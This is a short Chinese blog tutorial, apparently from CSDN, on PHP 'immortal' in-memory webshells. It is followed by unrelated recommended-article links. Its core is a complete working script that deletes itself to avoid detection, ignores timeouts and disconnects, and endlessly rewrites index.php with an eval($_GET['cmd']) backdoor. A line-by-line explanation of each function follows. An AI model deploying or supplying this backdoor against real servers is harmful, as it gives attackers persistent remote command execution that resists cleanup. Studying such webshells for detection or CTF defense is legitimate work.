PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

php 复制代码
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink( _ _ FILE _ _ ) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

相关推荐
m0_380743873 小时前
C++中的freopen的用法实例详解
开发语言·c++
半摆烂日常3 小时前
低代码平台API对接实践:接口鉴权与数据同步的完整实现
android·低代码·rxjava
Escalating_xu3 小时前
【Python】基础语法(1):常量、变量、类型、输入输出与运算符
开发语言·python
事圆则缓3 小时前
volatile 使用场景全解析:它能保证什么,又解决不了什么
android
haerapi3 小时前
RAPTOR 树不是把文档简单分组:递归聚类的层级检索
数据挖掘·php·聚类
jimy13 小时前
polymorph.cpp里面的“析构函数、智能指针”问题
开发语言·c++
m0_380743873 小时前
PHP 8.3 缓存清除不生效怎么排查
开发语言·php
朝朝辞暮i4 小时前
C++ 第 6 课:switch —— 多状态选择
开发语言·c++·算法
小凡geo4 小时前
本地商家 GEO:用脚本一键生成 FAQPage 结构化数据,让 AI 切片更稳
开发语言·人工智能·python·microsoft·搜索引擎·ai
蒲公英内测分发4 小时前
智能投影仪参加海外展会,未上架的 Android 配套 App 怎么让客户限时试用?
android